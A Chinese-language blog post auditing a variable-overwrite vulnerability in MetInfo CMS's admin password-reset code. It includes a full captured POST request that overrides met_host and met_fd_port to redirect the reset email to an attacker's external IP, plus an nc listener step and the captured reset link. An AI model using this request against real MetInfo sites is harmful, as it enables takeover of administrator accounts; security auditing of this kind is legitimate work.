PHP审计-实战变量覆盖漏洞

简介: PHP审计-实战变量覆盖漏洞

/include/common.inc.php

下面代码 用以将传入的cookie、get、post参数进行变量赋值

密码重置

MetInfo有管理员密码重置的功能,此功能由于变量覆盖导致可以获取密码重置链接。

640.png

密码文件

admin/admin/getpassword.php

switch语句开始是密码找回的逻辑控制语句

第一步选择密码找回的方式,默认是邮件找回,然后第二步,主要从92行开始执行,前面一大段是拼接数据包的语句,从第143行开始发送邮件


如果jmailsend函数发送失败则进入下面的if语句使用curl_post发送,进入curl_post函数

include/export.func.php

$post是未能成功发送的邮件内容,然后根据$met_host指定的地址将邮件内容发送过去,$met_host 在程序的值指定为app.metinfo.cn,应该是metinfo官方设置的邮件转发服务器,当站长自身设置的邮件服务器不起作用时先将邮件内容通过http请求发送此服务器,再由此服务器发送密码重置邮件。但是这个$met_host的值由于变量覆盖的原因导致可以被任意设置,可以将密码重置邮件的内容发送到我们指定的服务器。

前提是jmailsend发送失败,这里再来看一下jmailsend函数,在文件/include/jmail.php中。

640.png

目的是使这个函数返回False,这里同样使用变量覆盖的方式加以利用,可以看到根据$met_fd_port指定的端口发送邮件,这里如果将这个变量覆盖掉将导致邮件发送失败。首先在服务器上设置监听端口,curl_post默认80端口

640.png

抓包

POST /Metinfo/admin/admin/getpassword.php HTTP/1.1
Host: 192.168.5.22
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.5.22
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36 FS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.5.22/Metinfo/admin/admin/getpassword.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=96tlnqee9e5cs5b56m7r80g1n5; recordurl=%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252F%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252Fproduct%252Fshowproduct.php%253Flang%253Dcn%2526id%253D13%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252F%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252Fdownload%252Fdownload.php%253Flang%253Dcn%2526class2%253D35%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252Fabout%252Fshow.php%253Flang%253Dcn%2526id%253D19%2Chttp%253A%252F%252F192.168.5.22%252FMetinfo%252F
Connection: close
action=next2&abt_type=2&admin_mobile=123%40qq.com&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5&met_fd_port=400&met_host=120.25.205.228

vps开启nc监听80端口

http://192.168.5.22/Metinfo/admin/admin/getpassword.php?p=049dasw1rDxmWjwtuI80IOc%2BHW5WazEtXovdX58kVCfXwwwoJY6x3cB7%2BOdSJvaDy2P17ELfwCu2lcQE1bjctzmvvA

相关文章
|
9月前
|
缓存 大数据 PHP
PHP性能优化实战:告别缓慢脚本
PHP性能优化实战:告别缓慢脚本
292 89
|
9月前
|
安全 PHP
PHP 8 新特性实战:提升开发效率的利器
PHP 8 新特性实战:提升开发效率的利器
252 87
|
9月前
|
SQL 缓存 大数据
PHP性能优化实战:4个立竿见影的技巧
PHP性能优化实战:4个立竿见影的技巧
281 88
|
9月前
|
安全 PHP
PHP 8 新特性实战:提升开发效率的利器
PHP 8 新特性实战:提升开发效率的利器
280 88
|
10月前
|
API PHP
PHP 8新特性:Match表达式与联合类型实战指南
PHP 8新特性:Match表达式与联合类型实战指南
|
9月前
|
安全 大数据 PHP
PHP 7+ 新特性实战指南:提升开发效率
PHP 7+ 新特性实战指南:提升开发效率
254 87
|
7月前
|
小程序 PHP 图形学
热门小游戏源码(Python+PHP)下载-微信小程序游戏源码Unity发实战指南​
本文详解如何结合Python、PHP与Unity开发并部署小游戏至微信小程序。涵盖技术选型、Pygame实战、PHP后端对接、Unity转换适配及性能优化,提供从原型到发布的完整指南,助力开发者快速上手并发布游戏。
|
消息中间件 缓存 前端开发
PHP性能优化:从新手到高手的实战指南###
【10月更文挑战第21天】 本文将深入探讨PHP性能优化的策略与技巧,涵盖从基础代码优化到高级缓存机制的应用。通过具体案例分析,展示如何有效提升Web应用的响应速度和处理能力,帮助开发者在面对高并发场景时更加从容应对。无论你是初学者还是有经验的开发者,都能从中获得实用的建议和启发。 ###
267 8
|
前端开发 关系型数据库 MySQL
PHP与MySQL动态网站开发实战指南####
【10月更文挑战第21天】 本文将深入浅出地探讨如何使用PHP与MySQL构建一个动态网站,从环境搭建到项目部署,全程实战演示。无论你是编程新手还是希望巩固Web开发技能的老手,都能在这篇文章中找到实用的技巧和启发。我们将一起探索如何通过PHP处理用户请求,利用MySQL存储数据,并最终呈现动态内容给用户,打造属于自己的在线平台。 ####
686 0
|
存储 PHP
PHP中如何定义常量以及常量和变量的主要区别
常量和变量在PHP中扮演着不同的角色,各有各的应用场景。常量用于存储不会改变的值,具有全局作用域,定义后在整个脚本中都可以访问。变量则用于存储在程序执行过程中可能改变的值,作用域可以是局部的或全局的。掌握常量和变量的定义和区别,有助于编写出更加清晰、可维护的代码。希望本文能帮助你更好地理解和使用PHP中的常量和变量。
280 20